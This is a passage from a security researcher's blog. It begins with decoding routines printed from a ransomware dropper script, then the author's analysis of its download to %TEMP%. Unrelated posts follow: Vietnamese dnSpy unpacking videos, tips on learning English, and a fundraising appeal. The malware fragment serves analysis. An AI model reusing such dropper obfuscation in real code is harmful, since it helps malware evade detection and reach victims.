return getBuffer(unlock);
};
function getBuffer(input) {
var arrBuf = new Array();
arrBuf[0xC7] = 0x80;
arrBuf[0xFC] = 0x81;
arrBuf[0xE9] = 0x82;
arrBuf[0xE2] = 0x83;
arrBuf[0xE4] = 0x84;
arrBuf[0xE0] = 0x85;
arrBuf[0xE5] = 0x86;
arrBuf[0xE7] = 0x87;
arrBuf[0xEA] = 0x88;
arrBuf[0xEB] = 0x89;
arrBuf[0xE8] = 0x8A;
arrBuf[0xEF] = 0x8B;
arrBuf[0xEE] = 0x8C;
arrBuf[0xEC] = 0x8D;
arrBuf[0xC4] = 0x8E;
arrBuf[0xC5] = 0x8F;
arrBuf[0xC9] = 0x90;
arrBuf[0xE6] = 0x91;
arrBuf[0xC6] = 0x92;
arrBuf[0xF4] = 0x93;
arrBuf[0xF6] = 0x94;
arrBuf[0xF2] = 0x95;
arrBuf[0xFB] = 0x96;
arrBuf[0xF9] = 0x97;
arrBuf[0xFF] = 0x98;
arrBuf[0xD6] = 0x99;
arrBuf[0xDC] = 0x9A;
arrBuf[0xA2] = 0x9B;
arrBuf[0xA3] = 0x9C;
arrBuf[0xA5] = 0x9D;
arrBuf[0x20A7] = 0x9E;
arrBuf[0x192] = 0x9F;
arrBuf[0xE1] = 0xA0;
arrBuf[0xED] = 0xA1;
arrBuf[0xF3] = 0xA2;
arrBuf[0xFA] = 0xA3;
arrBuf[0xF1] = 0xA4;
arrBuf[0xD1] = 0xA5;
arrBuf[0xAA] = 0xA6;
arrBuf[0xBA] = 0xA7;
arrBuf[0xBF] = 0xA8;
arrBuf[0x2310] = 0xA9;
arrBuf[0xAC] = 0xAA;
arrBuf[0xBD] = 0xAB;
arrBuf[0xBC] = 0xAC;
arrBuf[0xA1] = 0xAD;
arrBuf[0xAB] = 0xAE;
arrBuf[0xBB] = 0xAF;
arrBuf[0x2591] = 0xB0;
arrBuf[0x2592] = 0xB1;
arrBuf[0x2593] = 0xB2;
arrBuf[0x2502] = 0xB3;
arrBuf[0x2524] = 0xB4;
arrBuf[0x2561] = 0xB5;
arrBuf[0x2562] = 0xB6;
arrBuf[0x2556] = 0xB7;
arrBuf[0x2555] = 0xB8;
arrBuf[0x2563] = 0xB9;
arrBuf[0x2551] = 0xBA;
arrBuf[0x2557] = 0xBB;
arrBuf[0x255D] = 0xBC;
arrBuf[0x255C] = 0xBD;
arrBuf[0x255B] = 0xBE;
arrBuf[0x2510] = 0xBF;
arrBuf[0x2514] = 0xC0;
arrBuf[0x2534] = 0xC1;
arrBuf[0x252C] = 0xC2;
arrBuf[0x251C] = 0xC3;
arrBuf[0x2500] = 0xC4;
arrBuf[0x253C] = 0xC5;
arrBuf[0x255E] = 0xC6;
arrBuf[0x255F] = 0xC7;
arrBuf[0x255A] = 0xC8;
arrBuf[0x2554] = 0xC9;
arrBuf[0x2569] = 0xCA;
arrBuf[0x2566] = 0xCB;
arrBuf[0x2560] = 0xCC;
arrBuf[0x2550] = 0xCD;
arrBuf[0x256C] = 0xCE;
arrBuf[0x2567] = 0xCF;
arrBuf[0x2568] = 0xD0;
arrBuf[0x2564] = 0xD1;
arrBuf[0x2565] = 0xD2;
arrBuf[0x2559] = 0xD3;
arrBuf[0x2558] = 0xD4;
arrBuf[0x2552] = 0xD5;
arrBuf[0x2553] = 0xD6;
arrBuf[0x256B] = 0xD7;
arrBuf[0x256A] = 0xD8;
arrBuf[0x2518] = 0xD9;
arrBuf[0x250C] = 0xDA;
arrBuf[0x2588] = 0xDB;
arrBuf[0x2584] = 0xDC;
arrBuf[0x258C] = 0xDD;
arrBuf[0x2590] = 0xDE;
arrBuf[0x2580] = 0xDF;
arrBuf[0x3B1] = 0xE0;
arrBuf[0xDF] = 0xE1;
arrBuf[0x393] = 0xE2;
arrBuf[0x3C0] = 0xE3;
arrBuf[0x3A3] = 0xE4;
arrBuf[0x3C3] = 0xE5;
arrBuf[0xB5] = 0xE6;
arrBuf[0x3C4] = 0xE7;
arrBuf[0x3A6] = 0xE8;
arrBuf[0x398] = 0xE9;
arrBuf[0x3A9] = 0xEA;
arrBuf[0x3B4] = 0xEB;
arrBuf[0x221E] = 0xEC;
arrBuf[0x3C6] = 0xED;
arrBuf[0x3B5] = 0xEE;
arrBuf[0x2229] = 0xEF;
arrBuf[0x2261] = 0xF0;
arrBuf[0xB1] = 0xF1;
arrBuf[0x2265] = 0xF2;
arrBuf[0x2264] = 0xF3;
arrBuf[0x2320] = 0xF4;
arrBuf[0x2321] = 0xF5;
arrBuf[0xF7] = 0xF6;
arrBuf[0x2248] = 0xF7;
arrBuf[0xB0] = 0xF8;
arrBuf[0x2219] = 0xF9;
arrBuf[0xB7] = 0xFA;
arrBuf[0x221A] = 0xFB;
arrBuf[0x207F] = 0xFC;
arrBuf[0xB2] = 0xFD;
arrBuf[0x25A0] = 0xFE;
arrBuf[0xA0] = 0xFF;
var output = new Array();
var dep = 0;
for (;dep < input.length;dep++) {
var i = input.charCodeAt(dep);
if (i < 128) {
var x = i
} else {
x = arrBuf[i];
}
output.push(x);
}
return output;
}
function manipulateData(data) {
var done = new Array();
done[0x80] = 0x00C7;
done[0x81] = 0x00FC;
done[0x82] = 0x00E9;
done[0x83] = 0x00E2;
done[0x84] = 0x00E4;
done[0x85] = 0x00E0;
done[0x86] = 0x00E5;
done[0x87] = 0x00E7;
done[0x88] = 0x00EA;
done[0x89] = 0x00EB;
done[0x8A] = 0x00E8;
done[0x8B] = 0x00EF;
done[0x8C] = 0x00EE;
done[0x8D] = 0x00EC;
done[0x8E] = 0x00C4;
done[0x8F] = 0x00C5;
done[0x90] = 0x00C9;
done[0x91] = 0x00E6;
done[0x92] = 0x00C6;
done[0x93] = 0x00F4;
done[0x94] = 0x00F6;
done[0x95] = 0x00F2;
done[0x96] = 0x00FB;
done[0x97] = 0x00F9;
done[0x98] = 0x00FF;
done[0x99] = 0x00D6;
done[0x9A] = 0x00DC;
done[0x9B] = 0x00A2;
done[0x9C] = 0x00A3;
done[0x9D] = 0x00A5;
done[0x9E] = 0x20A7;
done[0x9F] = 0x0192;
done[0xA0] = 0x00E1;
done[0xA1] = 0x00ED;
done[0xA2] = 0x00F3;
done[0xA3] = 0x00FA;
done[0xA4] = 0x00F1;
done[0xA5] = 0x00D1;
done[0xA6] = 0x00AA;
done[0xA7] = 0x00BA;
done[0xA8] = 0x00BF;
done[0xA9] = 0x2310;
done[0xAA] = 0x00AC;
done[0xAB] = 0x00BD;
done[0xAC] = 0x00BC;
done[0xAD] = 0x00A1;
done[0xAE] = 0x00AB;
done[0xAF] = 0x00BB;
done[0xB0] = 0x2591;
done[0xB1] = 0x2592;
done[0xB2] = 0x2593;
done[0xB3] = 0x2502;
done[0xB4] = 0x2524;
done[0xB5] = 0x2561;
done[0xB6] = 0x2562;
done[0xB7] = 0x2556;
done[0xB8] = 0x2555;
done[0xB9] = 0x2563;
done[0xBA] = 0x2551;
done[0xBB] = 0x2557;
done[0xBC] = 0x255D;
done[0xBD] = 0x255C;
done[0xBE] = 0x255B;
done[0xBF] = 0x2510;
done[0xC0] = 0x2514;
done[0xC1] = 0x2534;
done[0xC2] = 0x252C;
done[0xC3] = 0x251C;
done[0xC4] = 0x2500;
done[0xC5] = 0x253C;
done[0xC6] = 0x255E;
done[0xC7] = 0x255F;
done[0xC8] = 0x255A;
done[0xC9] = 0x2554;
done[0xCA] = 0x2569;
done[0xCB] = 0x2566;
done[0xCC] = 0x2560;
done[0xCD] = 0x2550;
done[0xCE] = 0x256C;
done[0xCF] = 0x2567;
done[0xD0] = 0x2568;
done[0xD1] = 0x2564;
done[0xD2] = 0x2565;
done[0xD3] = 0x2559;
done[0xD4] = 0x2558;
done[0xD5] = 0x2552;
done[0xD6] = 0x2553;
done[0xD7] = 0x256B;
done[0xD8] = 0x256A;
done[0xD9] = 0x2518;
done[0xDA] = 0x250C;
done[0xDB] = 0x2588;
done[0xDC] = 0x2584;
done[0xDD] = 0x258C;
done[0xDE] = 0x2590;
done[0xDF] = 0x2580;
done[0xE0] = 0x03B1;
done[0xE1] = 0x00DF;
done[0xE2] = 0x0393;
done[0xE3] = 0x03C0;
done[0xE4] = 0x03A3;
done[0xE5] = 0x03C3;
done[0xE6] = 0x00B5;
done[0xE7] = 0x03C4;
done[0xE8] = 0x03A6;
done[0xE9] = 0x0398;
done[0xEA] = 0x03A9;
done[0xEB] = 0x03B4;
done[0xEC] = 0x221E;
done[0xED] = 0x03C6;
done[0xEE] = 0x03B5;
done[0xEF] = 0x2229;
done[0xF0] = 0x2261;
done[0xF1] = 0x00B1;
done[0xF2] = 0x2265;
done[0xF3] = 0x2264;
done[0xF4] = 0x2320;
done[0xF5] = 0x2321;
done[0xF6] = 0x00F7;
done[0xF7] = 0x2248;
done[0xF8] = 0x00B0;
done[0xF9] = 0x2219;
done[0xFA] = 0x00B7;
done[0xFB] = 0x221A;
done[0xFC] = 0x207F;
done[0xFD] = 0x00B2;
done[0xFE] = 0x25A0;
done[0xFF] = 0x00A0;
var rulesets = new Array();
var tagName = "";
var id;
var paths;
var idProp = 0;
for (;idProp < data.length;idProp++) {
id = data[idProp];
if (id < 128) {
paths = id;
} else {
paths = done[id];
}
rulesets.push(String.fromCharCode(paths));
}
tagName = rulesets.join("");
return tagName;
};

From the code, I can know that it create some WScript objects, connects to the server and download file to %TEMP%, with the name 0ttyR4ET9BxiI.exe. This file is encrypted, the decryption code is right below of the main function. I decrypted it and uploaded to virustotal, in Jul 12, only 17 AV Detected, but to Jul 13, the number is 31 (link). It’s a ransomware (a new variant?). I want to post about analysis result here, but, seem to be enough, maybe in the next post, we will dissect it and make the fun.

Any request for the decrypted malware, feel free to mail me (Posting it right here is not a good idea).

Enjoy and stay safe,

Regards,
Levis

 

Unpacking Malware with dnSpy

Lần đầu làm chuyện ấy…

À ý tôi là làm video thuyết minh tiếng Việt, nên rất là run và có chút bẽn lẽn. Trước đây tôi làm tiếng Anh thì quen hơn nhiều, chứ còn tiếng Việt thì rất hay nói lỗi bởi vì có mấy thuật ngữ tôi không bao giờ dịch sang tiếng Việt, cũng không biết giải thích theo nghĩa tiếng Việt như thế nào nữa, cho nên rất là bối rối, mong các bạn bỏ quá cho.  Xin hay ủng hộ tôi, chỉ cần một comment “hjhj d0 ng0’k” hoặc “bố em hút rất nhiều thuốc” thôi là đã thấy yêu thương vô hạn lắm rồi. Cảm ơn

Ở trong video này chúng ta sẽ cùng sử dụng dnSpy để unpack 1 dạng unknown packer được sử dụng bởi 1 mẫu malware giả mạo Steam Client, mà một người bạn gửi cho tôi. Đây (có lẽ) là phần 1, nếu có thời gian tôi sẽ tiếp tục phân tích tiếp, và tất nhiên sẽ cố gắng làm full hd không che như thế này.

Note: Dạo gần đây tôi phát hiện khá nhiều mẫu, sử dụng .NET để làm wrapper để vượt mặt các Antivirus, vì việc detect mấy kiểu file .NET tôi có cảm giác như các hãng AV đang làm khá mơ hồ, đơn cử như trong mẫu này, file unpack ra mới chỉ có 8 AV phát hiện ra dưới dạng tên chung chung kiểu MSIL/Injector, hay Trojan.Gen,… Link scan trên virustotal có tại đây.

Thực sự rất đáng báo động, vì bây giờ đa pần các thế hệ windows mới (7,8/8.1,10) có sắn .NET đi kèm, vậy nên cái risk khá là cao. Khi mà phần lớn các AV đều chưa nhận diện tốt các loại malware thế này. .NET Wrapper có thể làm nhiệm vụ anti-AV hoặc detect xem có đang bị analysis hay không, sau đó mới drop các “em bé” thứ thiệt xuống (điển hình là trong vụ malware skype vừa qua, tôi có những mẫu đầu tiên và đã phân tích hoàn chỉnh chúng hồi đầu tháng 5, là những mẫu wrapper sử dụng Confuser/ConfuserEx). Thực sự rất là quan ngại sâu sắc lắm

Các yêu cầu về mẫu malware, xin vui lòng liên hệ qua email.

Enjoy and stay safe,

Levis

Học nói tiếng Anh

Tôi gặp rất nhiều người bạn, họ đang cố gắng bỏ rất nhiều thời gian ra để học tiếng Anh mỗi ngày, bởi vì bây giờ, hầu như tất cả mọi việc, đều yêu cầu đến phải có trình độ tiếng Anh nhất định. Lúc trước, tôi đã viết một bài, chia sẻ về kinh nghiệm học tiếng Anh của tôi, các bạn có thể đọc nó ở đây. Thậm chí con em gái tôi, nó ra bờ hồ “bắt Tây”, không biết nó bắt kiểu gì mà đi một buổi, mấy hôm sau thì cụ ba ba ở Hồ Gươm bơi ngửa. Thật hết biết…

Đó mới chỉ là một phần của câu chuyện, về việc đọc và viết tiếng Anh, vậy còn nghe và nói thì sao? Sau khi tôi làm mấy video trước, có một vài người khen tôi “nói tiếng Anh hay thế”, tôi bảo “nói sai chết mẹ đi, hay cái gì mà hay”. Và thực tế là tôi nói sai khá là nhiều, nhưng về cơ bản, tôi có thể nắm bắt ngữ điệu khá là ổn, và tất nhiên, tôi tự tin để nói (tôi cũng không rõ là tự tin hay là liều nữa).

Nhưng nếu bạn thích, thì tiếp tục đọc xuống phần dưới của bài này, nơi tôi sẽ kể với bạn về cái cách luyện nói và luyện nghe của tôi. Cách của tôi không giống thông thường, bởi vì tôi không thích hợp với cái cách học kiểu ngồi bàn giấy, người đọc người viết, nói chung là tôi không thích ngồi trong lớp học, gò bó quá. Bỏ thời gian và tiền bạc ra quá nhiều, đối với tôi thì đó đã là lãng phí.

Và tất nhiên, tôi vẫn giữ nguyên 2 yếu tố thiết yếu này : “Think in English”, và “Grammar is nothing more than a shit”.

Learning by watching

Tôi gặp cũng khá nhiều người, họ học tiếng Anh, và cứ thủ thỉ vào tai nhau là tập nghe, tập nói nên xem mấy series phim truyền hình kiểu “Friends”, “How I met your mother”, “Hannah Montana”, blah blah blah,… Tốt thôi, nếu bạn là một người khoái xem phim. Thế nhưng khi xem phim mà phải mang trong đầu cái suy nghĩ là “mình xem phim này để học tiếng Anh” thì quăng luôn đi, khỏi xem cho khỏe. Và tất nhiên phim ảnh thì không phải ai xem cũng hợp, có người thích, có người không thích, thế nên mấy cái trò rỉ tai như thế, tôi không đề cao. Tôi chỉ dảnh thời gian ra để xem những thứ tôi thích, phim chỉ là phần nhỏ. Ví dụ như, tôi thích tìm hiểu về Linux, thế là tôi lên youtube, tìm vài channel nói về Linux, và bắt đầu xem nó. Thoạt đầu tôi cũng chẳng cần hiểu họ nói gì, thế nên tôi chỉ nghe loáng thoáng, rồi thấy họ thao tác nhoay nhoáy trên màn hình, vừa thao tác vừa nói, thì tôi mới nghĩ “à hóa ra nó nói thế, có nghĩa là sẽ phải thao tác như thế”. Rồi tôi xem lại khoảng 2, 3 lần như thế, vì mỗi clip rất ngắn, khỉ khoảng tầm trên dưới 20 phút cho nên thời gian bỏ ra không quá nhiều. Dần dần tôi quen dần với cách nói của “bọn nước ngoài”, bởi vì cái hay của những clip kiểu như thế là họ nói một cách rất tự nhiên, và dùng rất nhiều tiếng lóng, tiếng đệm, từ nối, hoặc những khoản dừng trong các câu, chứ không phải những câu thoại được dàn dựng sẵn, và tát nhiên, nó rất trực quan bởi vì tôi vừa nghe nói được, vừa nhìn thao tác được, nên sẽ biết nội dung họ muốn truyền đạt là gì, chứ không hẳn là chỉ nghe.

Dần dần tôi lọc ra được một vài channel khá thú vị về Linux:

  • Nixie Pixel: Em này thì khỏi nói rồi, giọng rất ngọt và rất dễ nghe, thích hợp cho anh em nào vừa muốn xem gái, vừa muốn xem trái cây, vừa tìm hiểu Linux, và học tiếng Anh, up video khá thường xuyên, và tất nhiên, rất xinh. Hot girl trong giới Linux. Xem channel này là “nhất cử tam tứ tiện”.
  • Spatry Linux: Ông này thì có phong cách làm video kiểu “cũ cũ bẩn bẩn”, nhưng tôi khá thích vì tôi cũng thuộc dạng “old school”. Giọng khá dễ nghe vì ông ta nói từng từ rất tròn và rõ
  • InfinitelyGalactic: Tay này còn khá trẻ, hay làm bài review, một dạng vlog, chất lượng video rất tốt, nhưng bị cái là nó nói nhanh lắm, nếu không tỉnh là khó nghe được.
  • OSFirstTimer: Tôi mới tìm ra channel này cách đây không lâu, khoảng hơn 1 năm đổ lại, nội dung video khá là bình dị và thân thuộc, kiểu con trai hướng dẫn mẹ/bố cách sử dụng đủ các thứ OS. Cái hay là họ trò chuyện rất tự nhiên, và truyền tải kiến thức theo một cách rất đơn giản, dễ hiểu, giọng khá dễ nghe.
  • Matthew Moore: Một dạng Advance Linux User, nói giọng có vẻ như là American English, rất dễ nghe, nội dung thì cũng thuộc dạng Average đến Advance. Được cái là chăm làm và up video.
  • quidsup: Nếu bạn nghe được cái channel này, thì khả năng của bạn khá tốt rồi đó. Bởi vì ông này nói theo 1 cái ngữ điệu rất là “vãi”, vừa khó nghe lại rất nhanh (tôi đoán rằng ở vùng nào đó của Anh). Nhưng kể ra cũng hay, vì mình biết được nhiều kiểu ngữ điệu khác nhau.

Tạm thời là như thế, nếu bạn có hứng thú, thì lên youtube gõ tên channel vào khung tìm kiếm.

Learning by Praticing

Lại nói về xem, tôi có xem phim của Mỹ (mặc dù tôi đam mê với nền công nghiệp điện ảnh của Nhật Bản hơn), xem có Vietsub đàng hoàng. Sub vừa hiện lên cái là tôi lẩm bẩm dịch cái sub sang tiếng Anh, rồi nghe cái đứa nhân vật trong phim nó nói lại, so sánh xem mình nói có giống nó nói hay không. Theo cách đó, tôi luyện được khá nhiều về cái gọi là “Think in English”, khả năng phát âm cũng tăng tiến rõ rệt, mỗi cái là xem phim kiểu đó, phí phim đi, vì toàn lẩm bẩm, chả chú ý gì đến phim cả. Trừ mấy phim tâm lý xã hội có mấy cảnh liên quan đến sinh lý, thì tôi theo dõi rất chăm chú, không bỏ sót bất cứ một tình tiêt nào.
Hiện tại tôi không phải kẻ cuồng chơi game, nhưng thi thoảng tôi có chơi đôi chút để giải trí. Trong các game có mấy nhân vật nó hay nói mấy câu thoại lặp đi lặp lại, đặc biệt trong các game Moba. Game tôi chơi nhiều nhất là League of Legends, vì khá dễ chơi, và cốt truyện khá hay, có nhiều nhân vật, khi chơi nó lại nói vài câu, mình cũng nói câu đó với nó luôn. VD: Lucian: “Everybody die, some, just need a little help”, Teemo: “Captain Teemo on Duty”, Jarvan: “By my will, this shall be finished”, Draven: “Welcome, to the league of Draven”, Jayce: “I fight, for a brighter tomorrow”,… Tập nhái giọng của mấy nhân vật game này khá là vui, nó luyện cho tôi được nhiều cách phát âm theo nhiều phong cách khác nhau. Với lại, cứ khi chơi mà lại nói lảm nhảm mấy câu đấy, cảm giác nhập tâm hơn, đánh nó vi diệu hơn. Bạn hỏi tôi rank mấy ư? Rank tôi cao lắm, Đồng 5 nhé, số 5 là số lớn nhất rồi còn gì…

Learning by Playing

Tôi, được thầy lang làng tôi phán là có bệnh tự kỉ cường độ nhẹ. Tại tôi thích ở một mình. Trong lúc những thằng khác bỏ công bỏ sức ra đi với gấu nó, không có gấu thì tìm cách chau chuốt làm đẹp để tán gái, hay cắm đầu vào chơi game, đi phượt này nọ, hoặc là đi nhậu nhẹt thác loạn, đi bar, đi vũ trường…, thì tôi ở nhà. Hỏi tôi có chán không ư? Có, chán chết mẹ lên ấy. Thế rồi tôi tự bày ra trò chơi cho bản thân mình, để cho não bộ bận rộn suy nghĩ. Một trong các trò chơi tôi rất thích, là chơi với các từ tiếng Anh.

Luật chơi đơn giản, tôi phải tìm và đọc ra tất cả các từ tôi biết mà nó có một âm tiết đầu giống nhau. Ví dụ như:
Âm đầu là “con”, tôi có connect, convert, conduct, conjuntion, confuse, conquest, convince, contract, continue, control, concurrence… blah blah blah (No condom this time, please)

Âm đầu là “com”, tôi có commit, compare, compile, community, compromise, combat, compose, computer, combo, common, comma, comment,… blah blah blah

Âm đầu là “inter”, tôi có interact, intercept, interrupt, interview, integrate, internet, international, internal, interest, … blah blah blah (Inter Milan, hehe)
Thế là tôi tiêu phí thời gian vào để tìm ra những từ đó, đọc chúng lên lần lượt, và cảm thấy rất là thích thú, vì chúng đa phần là phát âm na ná nhau. Cứ thử đọc một chuỗi như thế mà xem. Dần dần tôi phát hiện ra được quy luật phát âm của các từ, hoặc các cụm từ, thế là sau này khi gặp từ mới, tôi cũng không cần phải lo lắng là phát âm thê nào, vì tôi biết quy luật của chúng rồi, cứ thế mà đọc thôi. Và cái nữa là, tôi ôn lại được một mớ từ vựng. Và thi thoảng tôi lại lôi một trong mấy từ đó ra để lẩm bẩm trong mồm, một mình. Cứ mỗi lần lẩm bẩm, là có cảm giác xung quanh có mấy ánh mắt nhìn, chắc mấy người đó nghĩ “thằng này nó bị điên, tự lảm nhảm một mình”. À thôi kệ, cứ miễn sao khá tiếng Anh là được rồi. Để sau này tôi sẽ nhìn chúng nó và nghĩ “what the fuck he/she is saying?” khi được nghe họ nói tiếng Anh.

Thế thôi, cách học của tôi đơn giản là thế, tôi vừa được thoải mái, lại không cần quá nhiều thời gian để học, tiết kiệm chi phí, ngoài tiếng Anh ra thì còn thu lượm lại rất nhiều thứ kiến thức khác. Để giờ đây tuy không biết gì nhưng cũng tự tin đứng ra chém như ai vậy, “thằng vua thua thằng liều”, hàn lâm, ngữ pháp cho cố vào, rồi cuối cùng cũng chẳng thể đủ tự tin mà viết một bức mail, hay tự tin đi nói chuyện với người nước ngoài. Và tôi cũng chẳng cần bỏ tiền triệu ra để đi học mấy khóa Anh ngữ kiểu “giáo viên nước ngoài”, “thời gian thực hành nhiều”,… blah blah blah. Cứ chém đi đã, trước sau gì Tây nó cũng hiểu ấy mà. Cái kiểu ngày xưa, mấy bà cô hay dọa là “đọc sai, viết sai, Tây nó cười cho”, giờ mới biết, mấy bà đó nói láo.

[Video] Unpacking using DnSpy

Hello mates,

This is a small video to show you the way that you can use dnSpy to unpack some simple packers/crypters by debugging and dumping.

The methodology is pretty simple, the packer encrypts the original file into a loader, then the loader will decrypts that file right on the memory, and invokes the main function. This technique is widely used in many many packers/crypters because it’s fast and easy to implement. So let’s see what we can do to unpack it in the modern way. In this video, i used MPRESS as a demonstration packer

Enjoy and best regards,

Levis

Xin đừng hỏi tôi như thế nữa!

“Anh ơi, cái này nó như thế này, giờ em phải làm gì tiếp?”
“Anh ơi, như thế này là sao vậy ạ?”
“Anh ơi, em muốn…, vậy em cần làm gì?”
“Anh ơi….”

Trời ạ, đừng hỏi tôi những câu như vậy nữa, có được không?

Mỗi ngày tôi nhận được 1 lượng không phải ít, cũng không phải nhiều những câu hỏi như thế này. Và tôi nói thật là, chúng khiến tôi phải ngán ngẩm, thực sự tôi rất nản. Các bạn trẻ, các bạn lặp đi lặp lại nhữngcâu hỏi kiểu như thế, các bạn không thấy chán à?

Các bạn nghĩ hỏi nhiều là chứng tỏ sự ham học hỏi à? Đối với những câu hỏi như trên, tôi chẳng thấy gì gọi là tinh thần học hỏi cả, chỉ thấy một sự thụ động và lười biếng, ngại khó ngại khổ mà thôi.

Tại sao?

Đọc bài viết này trước: http://www.hvaonline.net/hvaonline/posts/list/10525.hva . Khi nào bạn đọc xong, thì quay lại đọc tiếp bài viết này.

Bạn đọc xong rồi thì bạn đã rút ra điều gì chưa? Mấu chốt vấn đề nó nằm ở đấy đấy.

Bài viết mà tôi dẫn link phía trên, là bài viết rất kinh điển, và tôi nghĩ rằng tất cả mọi người cần phải đọc nó. Vậy bạn đọc rồi, bạn đã biết mình đang gặp ván đề gì chưa, và tại sao tôi phát khùng lên vì những câu hỏi đó chưa?

Thứ nhất, đặt những câu hỏi kiểu như thế chỉ khiến khả năng tư duy của mình bị kém đi. Hỏi những câu như thế, rồi được một người nào đó trợ giúp, trả lời hộ. Thế thì đáp án là đáp án của người ta, bạn không có gì ngoài cái kết quả đạt được trước mắt, mà bản thân không có một cái gì gọi là “tích lũy trải nghiệm”. Đúng, cái sự học muôn đời phải có chính là sự trải nghiệm, chỉ có chăm chăm tìm kiếm kết quả mà không tự mình trải nghiệm, tự mình tìm tòi, tự mình tích lũy, thì cuối cùng cũng chỉ có được mớ kiến thức của người ta thảy lại tận mồm, không phải của mình. Việc nghiên cứu giống như là một cuộc phiêu lưu vậy, thế nên, đừng quan trọng đích đến, hãy chú ý vào việc tìm kiếm cho mình những trải nghiệm trong suốt chuyến đi, điều đó mới thực sự là giá trị. Chứ nếu như bây giờ, bạn hỏi, tôi đưa cho bạn kết quả, và bạn sẽ chỉ biết là trong trường hợp đó thì phải làm như thế, và kết quả nó ra như vậy. Nếu như gặp phải trường hợp khác thì sao? Tôi biết rồi, bạn sẽ lại hỏi tôi, hoặc người nào khác. Cứ như thế mãi, trong tay bạn có được cái gì? Chẳng có gì đâu, thật sự đấy.

Thứ hai, đặt những câu hỏi kiểu như thế chỉ chứng tỏ rằng bạn không biết khả năng của bạn đang ở mức nào, dẫn đến việc không đánh giá đúng sự việc. Tại sao? Bạn nghĩ mình còn quá “gà”, quá thiếu kinh nghiệm, điều đó đúng, nhưng không thể dựa vào đó để bao biện cho việc lười tìm hiểu được. Và những người đưa cho bạn đáp án, bạn sẽ nghĩ người ta giỏi hơn bạn, và bạn sẽ có đôi lần mơ ước mình được trở nên giỏi như họ, phải vậy không? Thật lòng, tôi khuyên bạn đừng nghĩ theo phương diện đó, có ước mơ là tốt, có ngưỡng mộ là tốt, nhưng ở trong trường hợp này nó không phù hợp. Với cá nhân tôi, trước đây và bây giờ đây tôi luôn luôn tự học, tự nghiên cứu, khi nhìn thấy một người giải quyết được vấn đề nào đó mà tôi không làm được, tôi nghĩ rằng những vấn đề đó thực ra rất đỗi bình thường, họ giải quyết được, tôi không giải quyết được, đơn giản không phải họ giỏi hơn tôi, mà là tôi ngu hơn họ. Tôi biết mình ngu, nên càng phải phấn đấu hơn nữa để trở thành những người “bình thường” như họ. Và từ đó tôi có động lực và mong muốn được tự giải quyết vấn đề.

Tôi luôn tự hỏi mình với mỗi vấn đề tôi gặp phải, và không biết hướng giải quyết “Nếu những người “bình thường” kia là mình, thì họ sẽ giải quyết vấn đề này thế nào? Tại sao họ lại làm như vậy?”. Tin tôi đi, bạn hãy thử phương pháp này trong 1 thời gian, bạn sẽ biết tôi nói đúng hay sai. Hãy tự tìm ra hướng đi của mình, dù đúng hay sai, thì đó là hướng đi của bạn tự tìm ra, tự trải nghiệm, nó thực sự tốt hơn là đồ ăn sẵn. Đến một ngày nào đó, bạn sẽ trở thành 1 người “bình thường” như bao người khác.

Về kinh nghiệm của bản thân tôi, tôi chỉ thực sự tự học, trong khoảng hơn 3 năm trở lại đây. Trong suốt ba năm dấy, tôi chưa bao giờ đặt câu hỏi cho người khác, trên tất cả các forum hay các group mà tôi tham gia. Tôi chỉ hỏi chính bản thân tôi, và Google. Cái cách tôi học hỏi từ những người “bình thường” khác, là tôi tham gia cùng họ để thảo luận về các vấn đề, tôi đưa ra ý tưởng của tôi, và họ nếu thấy tôi sai, hoặc thiếu sót, họ sẽ chỉnh sửa và bổ sung cho tôi ngay lập tức. Có nghĩa là, tôi hoàn toàn không hỏi họ, không nhờ vả họ giúp tôi, tôi thảo luận với họ 1 cách bình đẳng, và từ đó tôi rút ra được những kinh nghiệm cho riêng mình, tự bổ sung những gì tôi còn thiếu và sửa chữa những gì tôi sai sót. Những người “bình thường”, họ rất chịu khó chia sẻ và thảo luận với bạn, nếu như bạn cho họ thấy bạn có quan điểm riêng, có sự tìm tòi nghiên cứu của riêng bạn. Đừng sợ mất thời gian, mà hãy sợ rằng mình không đủ kiên nhẫn để mà tìm hiểu, thế thôi.

Chút cảm nghĩ trong mấy ngày cuối tuần, và hi vọng rằng nó giúp ích cho ai đó…

Debugging .NET Application with DnSpy

This small video is small video to test the debugging feature of dnSpy (which is created by 0xd4d as a modification + improvement of free open-source .NET Decompiler ILSpy). More information of dnSpy can be found here:
https://github.com/0xd4d/dnSpy

The debugger is source-level debugger, means that you can directly debug decompiled code, not assembly-level, and it’s really cool feature

Only a small video, nothing special, feel free to watch it:

 

Personally i think it’s the best .NET Decompiler at the moment. So come and discover it power.

 

Regards,

Levis

Please, please help her

This topic is not about Technical, but about Real life. So, please take some minute to read it. Thanks a lot!

This is a campaign created by one of my best friends, asking for donation to help his younger sister.

My sister is 14 years old. She has been undergoing dialysis from 2.5 years for 3 times a week. Her both kidneys are damage. Her condition is very critical. Due to undergoing dialysis, she is becoming too weak. I have started this campaign, that I can help her for kidney transplantation. She really wants to go to school, to study and to eat whatever she wants to. But due to dialysis, she cannot do any of such things. She has to take more than 15 tablets per day. Her condition is becoming more and more serious with each passing day. I have a dream that I will give her a new life! I want the help of all of you to make this campaign a great success. I will never forget this donation. She really need your help. Even a small donation from many people can help me to continue the treatment and will enable me to proceed for the transplantation process. Because I believe that when small drops of water combine, they become a river.

I would like to thank all the brothers and sisters from all around the world who have helped in making the previous campaign successful. I hope you all will help me as well.

My sister is 14 years old. She has been undergoing dialysis from 2.5 years for 3 times a week. Her both kidneys are damage. Her condition is very critical. Due to undergoing dialysis, she is becoming too weak. I have started this campaign, that I can help her for kidney transplantation.

She really wants to go to school, to study and to eat whatever she wants to. But due to dialysis, she cannot do any of such things. She has to take more than 15 tablets per day. Her condition is becoming more and more serious with each passing day. I have a dream that I will give her a new life!

I want the help of all of you to make this campaign a great success. I will never forget this donation. She really need your help.

Even a small donation from many people can help me to continue the treatment and will enable me to proceed for the transplantation process. Because I believe that when small drops of water combine, they become a river.

So, all donation are welcome. Please help him  to save his sister. You can start donating by click on the link below:

https://life.indiegogo.com/fundraisers/14-year-old-girl-need-your-help

And Please share this post to other people also, this would be very helpul to make this campaign become success.

Thanks and best regards,

Levis